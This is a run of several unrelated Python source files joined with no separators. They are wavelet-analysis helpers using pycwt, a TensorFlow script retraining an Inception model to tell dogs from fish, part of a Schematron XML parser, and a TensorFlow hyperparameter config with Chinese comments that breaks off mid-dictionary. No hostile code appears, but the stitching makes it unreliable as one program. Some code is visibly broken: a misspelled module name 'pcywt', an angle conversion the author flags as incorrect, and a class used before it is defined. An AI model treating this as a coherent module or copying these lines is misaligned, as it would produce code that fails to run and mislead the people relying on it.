# @ clean-up pycwt vs wavelet calls
import pycwt
import numpy as np
import scipy
from scipy.ndimage.filters import gaussian_filter
import pycwt as wavelet
from pycwt.helpers import find
from tqdm import tqdm
import pandas as pd
import copy
from scipy.signal import butter, filtfilt, freqz

def standardize(
    s,
    standardize=True,
    detrend=False,
    remove_mean=False,
    bandpass_filter=False,
    bandpass_kwargs=None,
):
    '''
    Helper function for pre-processing data, specifically for wavelet analysis

    Parameters
    ----------
        s : numpy array of shape (n,) to be normalized
        standardize : divide by the standard deviation
        detrend : Linearly detrend s, default is False. Only one of detrend and
            bandpass_filter may be True.
        remove_mean : remove the mean of s. Only one of detrend, remove_mean, and
            bandpass_filter may be True.
        bandpass_filter : band pass the data. Only one of detrend and bandpass_filter
            may be True.
            NOTE: At the moment I just implement a high-pass filter. This needs to
            be updated in the future to be a band pass instead.
        bandpass_kwargs : Dictionary of kwargs passed to the bandpass filter. Must
            be provided if bandpass_filter = True.
            Arguments:
                cutoff : float, desired cutoff frequency of the filter in Hz
                fs : float, sampling frequency in Hz
                order : int, order of the filter. Default is 5

    Returns
    ----------
        snorm : numpy array of shape (n,)
    '''

    # @ Turn this into a decorator in the future for extra sexy python code
    def butter_highpass(cutoff, fs, order=5):
        nyq = 0.5 * fs
        normal_cutoff = cutoff / nyq
        b, a = butter(order, normal_cutoff, btype='high', analog=False)
        return b, a

    def butter_highpass_filter(data, cutoff, fs, order=5):
        b, a = butter_highpass(cutoff, fs, order=order)
        y = filtfilt(b, a, data)
        return y

    # Logic checking
    if detrend and remove_mean:
        raise ValueError('Only standardize by either removing secular trend or mean, not both.')
    if (detrend and bandpass_filter) or (remove_mean and bandpass_filter):
        raise ValueError(
            'Standardizing can only take one of the following as True:'
            ' remove_mean, detrend, bandpass_filer.'
        )
    if bandpass_filter and bandpass_kwargs is None:
        raise ValueError(
            'When using the bandpass filter the bandpass_kwargs must be supplied.'
        )

    # Derive the variance prior to any treatment
    smean = s.mean()

    # Remove the trend if requested
    if detrend:
        arbitrary_x = np.arange(0, s.size)
        p = np.polyfit(arbitrary_x, s, 1)
        snorm = s - np.polyval(p, arbitrary_x)
    else:
        snorm = s

    if remove_mean:
        snorm = snorm - smean

    if bandpass_filter:
        bandpass_kwargs.setdefault('order', 5)
        cutoff = bandpass_kwargs['cutoff']
        order = bandpass_kwargs['order']
        fs = bandpass_kwargs['fs']
        snorm = butter_highpass_filter(s, cutoff, fs, order=order)

    # Standardize by the variance only after the above
    # data treatment.
    std = snorm.std()
    if standardize:
        snorm = (snorm / std)

    return snorm

def wavelet_power(
    signal,
    dx,
    x,
    mother,
    octaves=None,
    scales_to_avg=None,
    glbl_power_var_scaling=True,
    norm_kwargs={'detrend': True, 'standardize': True},
    variance=None,
    rectify=True,
    significance_test=True,
    sig_kwargs={},
):
    '''
    Helper function for using the pycwt library since the steps in this
    function need to be completed for each realization of a CWT,

    Note: this function is based on the example from the pycwt library
    (https://pycwt.readthedocs.io/en/latest/tutorial.html)

    The resulting spectra are rectified following Liu 2007

    Parameters
    ----------
        signal : ndarray
        dx : float
        x : ndarray
        mother : pycwt wavelet object
        octaves : tuple, optional
        scales_to_avg : list, optional
        glbl_power_var_scaling : boolean, optional
        norm_kwargs : dict
        variance : float, optional
        rectify : boolean, optional
        significance_test : boolean, optional
        sig_kwargs : dict, optional

    Reutnrs
    ----------
    '''

    norm_kwargs.setdefault('standardize', True)
    norm_kwargs.setdefault('detrend', True)

    # If we do not normalize by the std, we need to find the variance
    if not norm_kwargs['standardize'] and variance is None:
        std = np.std(signal)
        var = std ** 2
    # For strongly non-stationary vectors, estimating the (white noise)
    # variance from the data itself is poorly defined. This option allows
    # the user to pass a pre-determined variance.
    elif variance is not None:
        var = variance
    # If the data were standardized, the variance should be 1 by definition
    # (assuming normally distributed processes)
    else:
        var = 1.

    if significance_test and 'sig_lvl' in sig_kwargs:
        sig_lvl = sig_kwargs['sig_lvl']
    else:
        sig_lvl = 0.95

    # This is hacky just to not break all of my scripts
    # by changing the number of outputs.
    if significance_test and 'local_sig_type' in sig_kwargs:
        local_sig_type = sig_kwargs['local_sig_type']
    else:
        local_sig_type = 'index'

    # Standardize/detrend/de-mean the input signal
    signal_norm = standardize(signal, **norm_kwargs)
    N = signal_norm.size

    # Wavelet properties
    # Starting scale is twice the resolution
    s0 = 2 * dx
    # Default wavelet values yields 85 periods
    if octaves is None:
        # Twelve sub-octaves per octaves
        dj = 1 / 12
        # Seven powers of two with dj sub-octaves
        J = 7 / dj
    else:
        # Number of sub-octaves per octaves
        dj = octaves[0]
        # Number of powers of two with dj sub-octaves
        J = octaves[1]

    # Perform the wavelet transform using the parameters defined above.
    wave, scales, freqs, coi, fft, fftfreqs = wavelet.cwt(
        signal_norm, dx, dj, s0, J, mother)

    # Calculate the normalized wavelet and Fourier power spectra,
    # as well as the Fourier equivalent periods for each wavelet scale.
    # Note that this power is not normalized as in TC98 equation 8, the factor
    # of dt^(1/2) is missing.
    power = np.abs(wave) ** 2
    fft_power = np.abs(fft) ** 2
    period = 1 / freqs

    # Do the significance testing for both the local and global spectra
    if significance_test:

        if 'alpha' not in sig_kwargs:
            # Lag-1 autocorrelation for red noise-based significance testing
            alpha, _, _ = wavelet.ar1(signal_norm)
        else:
            alpha = sig_kwargs['alpha']

        # Local power spectra significance test, where the ratio power / signif > 1.
        signif, fft_theor = wavelet.significance(var, dx, scales, 0, alpha,
                                                 significance_level=sig_lvl,
                                                 wavelet=mother)
        sig_ind = np.ones([1, N]) * signif[:, None]
        # The default behavior is to return a matrix that can be directly used
        # to draw a single contour following the pycwt_plot_helper functions.
        # The other option is to just return the local significance levels
        # as a matrix with dimensions equal to 'wave'.
        if local_sig_type == 'index':
            sig_ind = power / sig_ind

    # Rectify the power spectrum according to Liu et al. (2007)[2]
    if rectify:
        power /= scales[:, None]

    # Calculate the global wavelet spectrum
    glbl_power = power.mean(axis=1)
    if glbl_power_var_scaling:
        glbl_power = glbl_power / var

    # Do the significance testing for the global spectra
    if significance_test:

        # Global power spectra significance test. Note: this variable  is
        # different than the local significance variable. Here the global
        # spectra is reported directly.
        dof = N - scales  # Correction for padding at edges
        glbl_signif, tmp = wavelet.significance(var, dx, scales, 1, alpha,
                                                significance_level=sig_lvl,
                                                dof=dof, wavelet=mother)
    # Just return nans in the significance variables as they won't break
    # e.g. plotting routines.
    else:
        glbl_signif = np.ones_like(glbl_power) * np.nan
        sig_ind = np.ones_like(power) * np.nan

    if rectify:
        glbl_signif = glbl_signif / scales

    if scales_to_avg is not None:
        Cdelta = mother.cdelta
        num_intervals = np.shape(scales_to_avg)[0]
        scale_avg = np.ones((len(x), num_intervals))
        scale_avg_signif = np.ones(num_intervals)

        for nint in np.arange(num_intervals):
            # Calculate the scale average between two periods and the significance level.
            sel = find((period >= scales_to_avg[nint][0]) & (period < scales_to_avg[nint][1]))

            # In the pycwt example and TC98 eq. 24 the scale-avg power is scale rectified.
            # However, the rectification occurs above in the calculation of power. Do not repeat here.
            if rectify:
                scale_avg[:, nint] = dj * dx / Cdelta * power[sel, :].sum(axis=0)
            # If no rectification is requested, then for consistency with TC98
            # we return the rectified power here.
            elif not rectify:
                # The example code is just included here as a reference
                # scale_avg = (scales * np.ones((N, 1))).transpose()
                # scale_avg = power / scale_avg  # As in Torrence and Compo (1998) equation 24
                # TC98 eq. 24 does not include the variance as in the tutorial.
                scale_avg[:, nint] = dj * dx / Cdelta * power[sel, :].sum(axis=0) / scales[:, None]

            if significance_test:
                try:
                    scale_avg_signif[nint], _ = wavelet.significance(
                        var, dx, scales, 2, alpha,
                        significance_level=sig_lvl,
                        dof=[scales[sel[0]], scales[sel[-1]]],
                        wavelet=mother
                    )
                except IndexError:
                    # One of the scales to average was outside the range of the
                    # CWT's scales. Return no significance level for this averaging
                    # interval and move to the next one.
                    scale_avg_signif[nint] = np.nan
                    continue
            else:
                scale_avg_signif[nint] = np.nan

    else:
        scale_avg = None
        scale_avg_signif = None

    # @ Rename period and scales to better reflect that period is the inverse
    # fourier frequencies and that scales are the inverse wavelet frequencies.
    return (signal_norm, period, coi, power,
            glbl_signif, glbl_power, sig_ind,
            scale_avg, scale_avg_signif, scales)

def coi_scale_avg(coi, scales):
    '''
    Returns the upper and lower coi bounds for scale averaged wavelet power.

    Parameters
    ----------
        coi - np.array (or similar)
            location  of the coi in period space
        scales - np.array (or similar)
            The cwt scales that label the coi

    Returns
    ----------
        min_index : list
            indices of the coi scales for the shortest scale in
            the scale averaging interval
        max_index : list
            indices of the coi scales for the shortest scale in
            the scale averaging interval
    '''
    mindex1 = np.argmin(np.abs(coi[:len(coi)//2] - np.min(scales)))
    mindex2 = np.argmin(np.abs(coi[len(coi)//2:] - np.min(scales)))
    min_index = [mindex1, mindex2 + len(coi)//2]

    maxdex1 = np.argmin(np.abs(coi[:len(coi)//2] - np.max(scales)))
    maxdex2 = np.argmin(np.abs(coi[len(coi)//2:] - np.max(scales)))
    max_index = [maxdex1, maxdex2 + len(coi)//2]

    return min_index, max_index

def wavelet_coherent(
    s1,
    s2,
    dx,
    dj,
    s0,
    J,
    mother,
    norm_kwargs={'detrend': True, 'standardize': True},
    ):
    '''
    Calculate coherence between two vectors for a given wavelet. Currently
    only the Morlet wavelet is implemented. Returns the wavelet linear coherence
    (also known as coherency and wavelet coherency transform), the cross-wavelet
    transform, and the phase angle between signals.

    Parameters
    ----------
        s1 : 1D numpy array or similar object of length N.
            Signal one to perform the wavelet linear coherence with s2. Assumed
            to be pre-formatted by the `standardaize` function. s1 and s2 must
            be the same size.
        s2 : 1D numpy array or similar object of length N.
            Signal two to perform the wavelet linear coherence with s1. Assumed
            to be pre-formatted by the `standardaize` function. s1 and s2 must
            be the same size.
        dx : scalar or float. Spacing between elements in s1 and s2. s1 and s2
            are assumed to have equal spacing.
        dj : float, number of suboctaves per octave expressed as a fraction.
            Default value is 1 / 12 (12 suboctaves per octave)
        s0 : Smallest scale of the wavelet (if unsure = 2 * dt)
        J : float, number of octaves expressed as a power of 2 (e.g., the
            default value of 7 / dj means 7 powers of 2 octaves.
        mother : pycwt wavelet object, 'Morlet' is the only valid selection as
            a result of requiring an analytic expression for smoothing the
            wavelet.

    Returns
    ----------
        WCT : same type as s1 and s2, size PxN
            The biwavelet linear coherence transform.
        aWCT : same type as s1 and s2, size of PxN
            phase angle between s1 and s2.
        W12 : same type as s1 and s2, size PxN
            The cross-wavelet transform power, unrectified.
        W12_corr : the same type as s1 and s2, size PxN
            Cross-wavelet power, rectified following Veleda et al., 2012 and
            the R biwavelet package.
        period : numpy array, length P
            Fourier mode inverse frequencies.
        coi : numpy array  of length n, cone of influence
        angle : phase angle in degrees
        w1 : same type as s1, size PxN
            CWT for s1
        w2 : same type as s1, size PxN
            CWT for s2
    '''
    assert mother.name == 'Morlet', "XWT requires smoothing, which is only available to the Morlet mother."
    wavelet_obj = wavelet.wavelet._check_parameter_wavelet(mother)

    assert np.size(s1) == np.size(s2), 's1 and s2 must be the same size.'

    # s1 and s2 MUST be the same size
    assert s1.shape == s2.shape, "Input signals must share the exact same shape."

    s1_norm = standardize(s1, **norm_kwargs)
    s2_norm = standardize(s2, **norm_kwargs)

    # Calculates the CWT of the time-series making sure the same parameters
    # are used in both calculations.
    W1, sj, freq, coi, _, _ = wavelet.cwt(s1_norm, dx, dj, s0, J, mother)
    W2, _, _, _, _, _ = wavelet.cwt(s2_norm, dx, dj, s0, J, mother)

    # We need a 2D matrix for the math that follows
    scales = np.atleast_2d(sj)
    periods = np.atleast_2d(1 / freq)

    # Perform the cross-wavelet transform
    W12 = W1 * W2.conj()
    # Here I follow the R biwavelet package for the implementation of the
    # scale rectification. Note that the R package normalizes by the largest
    # wavelet scale. I choose to not include that scaling factor here.
    # W12_corr = W1 * W2.conj() * np.max(periods) / periods.T
    W12_corr = W1 * W2.conj() / periods.T

    # Coherence

    # Smooth the wavelet spectra before truncating.
    if mother.name == 'Morlet':
        sW1 = wavelet_obj.smooth((np.abs(W1) ** 2 / scales.T), dx, dj, sj)
        sW2 = wavelet_obj.smooth((np.abs(W2) ** 2 / scales.T), dx, dj, sj)
        sW12 = wavelet_obj.smooth((W12 / scales.T), dx, dj, sj)
    WCT = np.abs(sW12) ** 2 / (sW1 * sW2)
    aWCT = np.angle(W12)
    # @ fix this incorrect angle conversion.
    angle = (0.5 * np.pi - aWCT) * 180 / np.pi

    # @ better names to reflect fourier vs wavelet frequency/scale
    scales = np.squeeze(scales)

    return (WCT, aWCT, W12, W12_corr, 1 / freq, coi, angle, sW1, sW2)

def wct_mc_sig(
    wavelet,
    J,
    dj,
    dt,
    s0,
    sfunc_args1=[],
    sfunc_args2=[],
    sfunc_kwargs1={},
    sfunc_kwargs2={},
    mc_count=60,
    slen=None,
    sig_lvl=0.95,
    sfunc=None,
):
    '''
    Parameters
    ----------
        wavelet : pycwt wavelet object class
        J : int
            Wavelet's maximum scale.
        dj : float
            Number of suboctaves / number of octaves for the wavelet.
        dt : float
            Spacing of the time series in time. It is recommended to use the
            spacing of the data being tested for consistenct.
        s0 : float
            Minimum resolvable scale for the wavelet. Recommended value is
            2 * dt
        sfunc_args1 : list, optional
            positional arguments for sfunc for time series one.
        sfunc_args2 : list
            positional arguments for sfunc for time series two.
        sfunc_kwargs1 : dictionary, optional
        sfunc_kwargs2 : dictionary, optional
        mc_count : int, optional
        slen : int, optional
        sig_lvl : float, optional
        sfunc : function handle
            sfunc is used to generate the synthetic data
            for the Monte-Carlo simulation. The default function is
            pycwt.rednoise(). Function must accept `N` as the first argument
            and return an array of length `N`.

    Returns
    -------
        coh : ndarray of floats
            Coherence from each Monte-Carlo draw

    '''

    if slen is None:
        # Choose N so that largest scale has at least
        # some part outside the COI
        slen = s0 * (2 ** (J * dj)) / dt

    # Assign the length of the synthetic signal
    N = slen

    # Assign the function for generating synthetic data
    if sfunc is None:
        # @ Replace with a functional red noise generator
        sfunc = pcywt.rednoise

    # Peak the details of the cwt output for a single realization
    # of the noise function.
    noise1 = sfunc(N, *sfunc_args1, **sfunc_kwargs1)

    # Check that sfunc returns an array with the necessary properties
    if not len(noise1) == N:
        raise ValueError('sfunc must return data of length N')

    nW1, sj, freq, coi, _, _ = pycwt.cwt(
        noise1, dt=dt, dj=dj, s0=s0, J=J, wavelet=wavelet
    )

    period = np.ones([1, N]) / freq[:, None]
    coi = np.ones([J + 1, 1]) * coi[None, :]
    outsidecoi = (period <= coi)
    scales = np.ones([1, N]) * sj[:, None]
    sig_ind = np.zeros(J + 1)
    maxscale = find(outsidecoi.any(axis=1))[-1]
    sig_ind[outsidecoi.any(axis=1)] = np.nan

    coh = np.ma.zeros([J + 1, N, mc_count])

    # Displays progress bar with tqdm
    for n_mc in tqdm(range(mc_count)):#, disable=not progress):
        # Generates a synthetic signal using the provided function and parameters

        noise1 = sfunc(N, *sfunc_args1, **sfunc_kwargs1)
        noise2 = sfunc(N, *sfunc_args2, **sfunc_kwargs2)

        # Calculate the cross wavelet transform of both red-noise signals
        kwargs = dict(dt=dt, dj=dj, s0=s0, J=J, wavelet=wavelet)
        nW1, sj, freq, coi, _, _ = pycwt.cwt(noise1, **kwargs)
        nW2, sj, freq, coi, _, _ = pycwt.cwt(noise2, **kwargs)
        nW12 = nW1 * nW2.conj()

        # Smooth wavelet wavelet transforms and calculate wavelet coherence
        # between both signals.

        S1 = wavelet.smooth(np.abs(nW1) ** 2 / scales, dt, dj, sj)
        S2 = wavelet.smooth(np.abs(nW2) ** 2 / scales, dt, dj, sj)
        S12 = wavelet.smooth(nW12 / scales, dt, dj, sj)

        R2 = np.ma.array(np.abs(S12) ** 2 / (S1 * S2), mask=~outsidecoi)
        coh[:, :, n_mc] = R2

    period = period[:, 0]

    return coh, period, scales, coi

def coi_where(period, coi, data):
    '''
    Finds where the period by num samples array is outside the coi.
    Useful for creating masked numpy arrays.

    INPUTS:
    period : N array, the wavelet periods
    coi : M array, the coi location for each sample. M should
        be the number of samples.
    data : N x M array, the data to broadcast the COI mask to.

    RETURNS:
    outside_coi : N by M array of booleans. Is True where
        the wavelet is effected by the coi.

    EXAMPLE:
        outside_coi = pycwt_stat_helpers.coi_where(period, coi, WCT)
        masked_WCT = np.ma.array(WCT, mask=~outside_coi)
    '''

    coi_matrix = np.ones(np.shape(data)) * coi
    period_matrix = (np.ones(np.shape(data)).T * period).T

    outside_coi = period_matrix < coi_matrix

    return outside_coi

def ar1_generator(N, alpha, noise, init_n_len=3):
    '''
    Generates a Markov chain lag-1 process through a brute force approach.

    Parameters
    -------

    Returns
    -------

    '''

    y = np.zeros((init_n_len * N,))
    # Simulate a longer period and just return the last N point
    # to remove edge effects.
    for t in range(1, init_n_len * N):
        y[t] = alpha * y[t - 1] + np.random.normal(scale=noise)

    return y[-N:]

def nan_sequences(signal, dx, dim='time', units=None):
    '''
    Describes properties of NaN blocks, giving their indices, slices, and
    length.

    INPUTS:
    signal : xarray DataArray, data to search for contiguous NaN blocks
        within that has a labeled dimension specified by the 'dim'
        keyword.
    dx : Float, Step size of the dimension specified by the 'dim' keyword.
    dim : String, Dimension to index contiguous NaN blocks along in signal.
        Default is "time". If dim is "time" the units keyword must be
        specified.
    units : String, describes the units of dx. Necessary when operating
        along a "time" dimension.

    RETURNS:
    nan_seq_ind : 2 x N list, where N is the number of contiguous NaN blocks.
        First element of each list specifies the indices of the NaN block
        beginning while the second element specifies the end of the NaN.
    nan_seq_slc : list of length N, each element is a slice across the NaN
        block.
    nan_seq_len : list of length N, each element specifies the length of its
        respective NaN block.

    EXAMPLE:
        nan_seq_ind, nan_seq_slc, nan_seq_len = cwt_stat.nan_sequences(
            signal, dt, dim='time', units='seconds'
        )
    '''

    # Assure that the arithmetic of operating along the time dimension will
    # function by coercing dx and the 'time' dimension to have compatible
    # data types.
    if dim == 'time':
        if units is None:
            raise ValueError(
                'When operating along the time dimension, the units keyword'\
                ' must be provided.'
            )
        units_kwarg = {units: dx}
        dx_td = pd.Timedelta(**units_kwarg)

    # First, find the indices for the nans
    # The drop=True makes the first loop easy, but the
    # indices are now no longer referenced to the original
    # signal dataset
    nanind = signal.where(np.isnan(signal), drop=True)

    # If no NaNs are present return empty lists
    if nanind.size == 0:
        nan_seq_len = []
        nan_seq_slc = []
        nan_seq_ind = []
        return nan_seq_ind, nan_seq_slc, nan_seq_len

    ind_beg = [0]
    ind_end = []
    for nt2, t2 in enumerate(nanind[dim][1:]):
        if dim == 'time':
            t1 = pd.Timestamp(nanind[dim].values[nt2])
            t2 = pd.Timestamp(t2.values)
        else:
            t1 = nanind[dim].values[nt2]
            t2 = t2.values
        # Maybe this extra step of checking for time is unnecessary
        # if we overwrite dx with the Timedelta value if dim=='time'.
        # I don't have time right now to check.
        if (dim == 'time') and (t2 - t1 > dx_td):
            ind_end.append(nt2)
            ind_beg.append(nt2 + 1)
        elif (not dim == 'time') and (t2 - t1 > dx):
            ind_end.append(nt2)
            ind_beg.append(nt2 + 1)

    ind_end.append(-1)

    # 3 steps:
    # 1) Convert back to the original signal's indices
    # 2) Find the duration of a nan sequence
    # 3) Give the slice (in time coordinates) for the nan block
    nan_seq_len = []
    nan_seq_slc = []
    nan_seq_ind = []

    for b, e in zip(ind_beg, ind_end):
        # Duration of the nan sequence in units of time
        if dim=='time':
            t1 = pd.Timestamp(nanind.time.values[b])
            t2 = pd.Timestamp(nanind.time.values[e])
        else:
            # Duration of the nan sequence in units of dx
            t1 = nanind[dim].values[b]
            t2 = nanind[dim].values[e]

        # Slices of nan blocks
        nan_seq_slc.append(slice(t1, t2))

        # The indices of nan blocks
        # (index beg of block, index end of block)
        nan_seq_ind.append(
            [
                np.flatnonzero(signal[dim] == t1)[0],
                np.flatnonzero(signal[dim] == t2)[0],
            ]
        )

        tdiff = np.flatnonzero(signal[dim] == t2)[0] - np.flatnonzero(signal[dim] == t1)[0]
        nan_seq_len.append(tdiff)

    return nan_seq_ind, nan_seq_slc, nan_seq_len

def nan_coi(nan_seq_ind, nan_seq_len, coi, period, signal, dx):
    '''
    Rebuilds the COI to have a new, scale-aware COI around nan gaps

    Parameters
    -------

    Returns
    -------

    '''
    if (not nan_seq_ind) or (not nan_seq_len):
        return coi

    # We need two copies of the data.
    # One is just the original coi. We will manipulate it
    # at the very end when we ammend it with the nan-coi gaps
    coi_mask = copy.deepcopy(coi)
    # And now we need just half of the coi
    coi_half = copy.deepcopy(coi[0:len(coi)//2])
    # Remove anything with a length longer than the resolvable
    coi_half[coi_half > np.max(period)] = np.nan

    coi_half_nanless = copy.deepcopy(coi_half)
    coi_half_nanless = coi_half_nanless[np.flatnonzero(~np.isnan(coi_half_nanless))]
    coi_half_nanless_len = len(coi_half_nanless)

    # @ Is the reference to "signal" necessary here? Or could we
    # just use the COI variable instead?
    nan_mask = np.zeros_like(signal) * np.nan

    for ns, (n1, n2) in enumerate(nan_seq_ind):
        nan_mask[n1:n2 + 1] = 0

        coi_fill_len = np.min(
            (
                nan_seq_len[ns] + 1,
                coi_half_nanless_len,
                n1
            )
        )
        coi_nanseq_beg = n1 - coi_fill_len
        fill_values = coi_half_nanless[coi_fill_len - 1::-1]
        fill_values[fill_values > nan_seq_len[ns] * dx] = nan_seq_len[ns] * dx
        nan_mask[coi_nanseq_beg:n1] = fill_values

        coi_fill_len = np.min(
            (
                nan_seq_len[ns] + 1,
                coi_half_nanless_len,
                len(signal) - (n2 + 1)
            )
        )
        coi_nanseq_end = n2 + coi_fill_len
        fill_values = coi_half_nanless[0:coi_fill_len]
        fill_values[fill_values > nan_seq_len[ns] * dx] = nan_seq_len[ns] * dx
        nan_mask[n2:coi_nanseq_end] = fill_values

    # Don't overwrite the original COI from edge effects.
    nan_mask[nan_mask > coi] = coi[nan_mask > coi]

    # Fill in all the places without nans with the original COI
    coi_mask[~np.isnan(nan_mask)] = nan_mask[~np.isnan(nan_mask)]

    return(coi_mask)


import numpy as np
import tensorflow as tf
from tensorflow.python.platform import gfile
from datetime import datetime
import os

graphDir = './inception-2015-12-05/classify_image_graph_def.pb'

BOTTLENECK_TENSOR_NAME = 'pool_3/_reshape'
BOTTLENECK_TENSOR_SIZE = 2048
learning_rate = 0.01
eval_step_interval = 20
how_many_training_steps = 10000

classes = ['dog', 'fish']

def create_graph(graphDir=graphDir):
    """"Creates a graph from saved GraphDef file and returns a saver."""
    # Creates graph from saved graph_def.pb.
    print('Loading graph...')
    with tf.Session() as sess:
        with gfile.FastGFile(graphDir, 'rb') as f:
            graph_def = tf.GraphDef()
            graph_def.ParseFromString(f.read())
            _ = tf.import_graph_def(graph_def, name='')
    print('Done...')
    return sess.graph

def add_final_training_ops():

    layer_weights = tf.Variable(
        tf.truncated_normal([BOTTLENECK_TENSOR_SIZE, len(classes)], stddev=0.001),
        name='final_weights')
    layer_biases = tf.Variable(tf.zeros([len(classes)]), name='final_biases')

    logits = tf.add(tf.matmul(X_Bottleneck, layer_weights, name='final_matmul'), layer_biases, name="logits")

    cross_entropy = tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=Y_true)
    cross_entropy_mean = tf.reduce_mean(cross_entropy, name='cross_entropy_mean_2class')
    train_step = tf.train.AdamOptimizer(learning_rate).minimize(cross_entropy_mean)

    return train_step, cross_entropy_mean, logits

def add_evaluation_step(Ylogits):
    """Inserts the operations we need to evaluate the accuracy of our results.
    Args:
      graph: Container for the existing model's Graph.
    Returns:
      Nothing.
    """
    correct_prediction = tf.equal(tf.argmax(Ylogits, 1),
                                  tf.argmax(Y_true, 1))  # tf.equal(tf.argmax(Ylogits, 1), Y_true)#
    evaluation_step = tf.reduce_mean(tf.cast(correct_prediction, 'float'), name='eval_step_2class')
    return evaluation_step

tf.reset_default_graph()
sess = tf.Session()
graph = create_graph()
#bottleneck_tensor = graph.get_tensor_by_name(BOTTLENECK_TENSOR_NAME + ':0')

X_Bottleneck = tf.placeholder(tf.float32, shape=[None, BOTTLENECK_TENSOR_SIZE], name="X_bottleneck")
# placeholder for true labels
Y_true = tf.placeholder(tf.float32, [None, len(classes)], name="Y_true")

train_step, cross_entropy, Ylogits = add_final_training_ops()
evaluation_step = add_evaluation_step(Ylogits)
init = tf.initialize_all_variables()
# Create a saver object which will save all the variables
saver = tf.train.Saver()
sess.run(init)
# save the graph for cold start
if not os.path.exists('./dog_v_fish_cold_graph/'):
    os.makedirs('./dog_v_fish_cold_graph/')
saver.save(sess, './dog_v_fish_cold_graph/dog_v_fish_cold_graph')


__author__ = 'Robbert Harms'
__date__ = '2023-02-18'
__maintainer__ = 'Robbert Harms'
__email__ = 'robbert@xkls.nl'
__licence__ = 'LGPL v3'

import os
import re
import warnings
from abc import ABCMeta, abstractmethod
from io import BytesIO, IOBase
from itertools import chain
from pathlib import Path
from pprint import pprint
from typing import BinaryIO, Union, Type, Dict, Any
from xml.etree import ElementTree

import elementpath
from elementpath import XPathToken, XPath1Parser, XPath2Parser
from elementpath.tdop import Parser

import lxml
from elementpath.xpath3 import XPath3Parser
from elementpath.xpath31 import XPath31Parser
from lxml import etree, objectify
from lxml.etree import _ElementTree, _Element
from ruamel import yaml

from pyschematron.parsers.ast import Schema, Check, Assert, SchematronNode, Pattern, Rule, Report, Variable, Paragraph, \
    ConcreteRule, AbstractRule, ExtendsById, Extends, ExtendsExternal, ExternalRule
from pyschematron.parsers.xml_to_ast.builders import ConcreteRuleBuilder, ExternalRuleBuilder, AbstractRuleBuilder
from pyschematron.parsers.xml_to_ast.utils import node_to_str, resolve_href
from pyschematron.utils import load_xml

class ParsingContext:

    def __init__(self,
                 xpath_parser: Parser,
                 parser_factory: ParserFactory = None,
                 base_path: Path = None):
        """Create the parser context we use while parsing the Schematron XML.

        Args:
            xpath_parser: the xpath parser we can use during parsing of the Schematron XML
            parser_factory: the factory we use to create sub parsers, defaults to :class:`DefaultParserFactory`.
            base_path: the base path to use for file inclusions, if not provided it is set to the current working
                directory.
        """
        self.xpath_parser = xpath_parser
        self.parser_factory = parser_factory or DefaultParserFactory()
        self.base_path = base_path or os.getcwd()

    @classmethod
    def from_schematron_root(cls, xml: _Element, parser_factory: ParserFactory = None, base_path: Path = None):
        """Prepares the parsing context from the provided Schematron XML root.

        Args:
            xml: the Schematron root node, we use this to look up the namespaces and the query binding to
                create the right xpath parser
            parser_factory: the factory we can use to create sub parsers, if not provided we use the default parser
                factory.
            base_path: base path to use for file inclusions
        """
        xpath_parser = cls.get_xpath_parser(xml)
        return cls(xpath_parser, parser_factory, base_path)

    @staticmethod
    def get_xpath_parser(xml: _Element) -> Parser:
        """Determine the Xpath parser from the Schematron root.

        Args:
            xml: the Schematron XML root node

        Returns:
            A `elementpath` parser instance

        Raises:
            ValueError if the query binding is not supported by this library.
        """
        xpath_parsers = {
            'xslt': XPath1Parser,
            'xslt2': XPath2Parser,
            'xslt3': XPath31Parser,
            'xpath': XPath1Parser,
            'xpath2': XPath2Parser,
            'xpath3': XPath3Parser,
            'xpath31': XPath31Parser
        }
        query_binding = xml.attrib.get('queryBinding', 'xslt')

        if query_binding not in xpath_parsers:
            raise ValueError(f'The provided queryBinding {query_binding} is not available in this package.')

        if query_binding.startswith('xslt'):
            warnings.warn(f'XSLT queryBinding support is limited to xpath expressions only.')

        namespaces = {}
        for xpath_namespace in elementpath.select(xml, '/schema/ns'):
            namespaces[xpath_namespace.attrib['prefix']] = xpath_namespace.attrib['uri']

        return xpath_parsers[query_binding](namespaces=namespaces)

class ElementParser(metaclass=ABCMeta):

    @abstractmethod
    def parse(self, element: _Element, context: ParsingContext) -> SchematronNode:
        """Parse a piece of XML data into a SchematronNode.

        Args:
            element: the Schematron XML element we want to parse
            context: the context we use for parsing this Schematron XML element
        """

    @staticmethod
    def _parse_child_tags(element: _Element, context: ParsingContext, xml_tag: str) -> list[SchematronNode]:
        """Parse a sequence of XML elements with the same tag name.

        Args:
            element: the element which we search
            context: the parsing context
            xml_tag: the XML tag to search for
        """
        parser = context.parser_factory.get_parser(xml_tag)

        items = []
        for child in elementpath.select(element, xml_tag):
            items.append(parser.parse(child, context))

        return items

    @staticmethod
    def get_rich_content(element: _Element, context: ParsingContext) -> list[str | XPathToken]:
        """Get the rich content of the provided node.

        Args:
            element: the element for which to get the content.
            context: the parsing context, we use this to parse <value-of> nodes.

        Returns:
            A list of text and XPathToken nodes. All rich content like <emph> and <b> are rendered as string content.
                Nodes of type <value-of> are converted into XPathTokens.
        """
        content = [element.text]

        for child in element.getchildren():
            if child.tag == '{http://purl.oclc.org/dsdl/schematron}value-of':
                content.append(context.xpath_parser.parse(child.attrib['select']))
                content.append(child.tail)
            else:
                content.append(node_to_str(child))
                content.append(child.tail)

        return content


import os
import tensorflow as tf

from BaseModel import BaseModel
from MyVocab import MyVocab
import utils

tf.app.flags.DEFINE_string("model", "idcnn", "model: idcnn")
tf.app.flags.DEFINE_string("mode", "train", "mode: train | eval | infer")

FLAGS = tf.app.flags.FLAGS

vocab = MyVocab.load("myvocab.pkl")

def create_hparams(flags):
  """Create training hparams."""
  return tf.contrib.training.HParams(
            is_user_input=False,     # 接收用户输入或者直接从tfrecord中读取数据
            record_file="./data/pku.records",   # tfrecord文件的位置, 在is_user_input=False时, 必须要填写正确的路径
            train_record="./data/pku_train.records",
            valid_record="./data/pku_valid.records",

            layer_mode = "lstm",   # 采用的layer的类型, idcnn | lstm
            vocab_size=vocab.vocab_size,
            tags_size=vocab.tags_size,

            embed_dim=100,

            # lstm 相关参数
            lstm_units=50,      # lstm 中隐藏单元的个数
            lstm_layers = 2,    # lstm 层数
            rnn_output_keep_prob=0.5,

            # idcnn 相关参数
            idcnn_blocks = 3,   # idcnn 中有几个 block
            idcnn_layerpb = 5,  # idcnn 的每个 block 中有几个 layer.

            keep_ratio=0.5,
            l2_ratio = 1.0,     # l2 正则化

            # 学习率相关
            lr = 0.001,
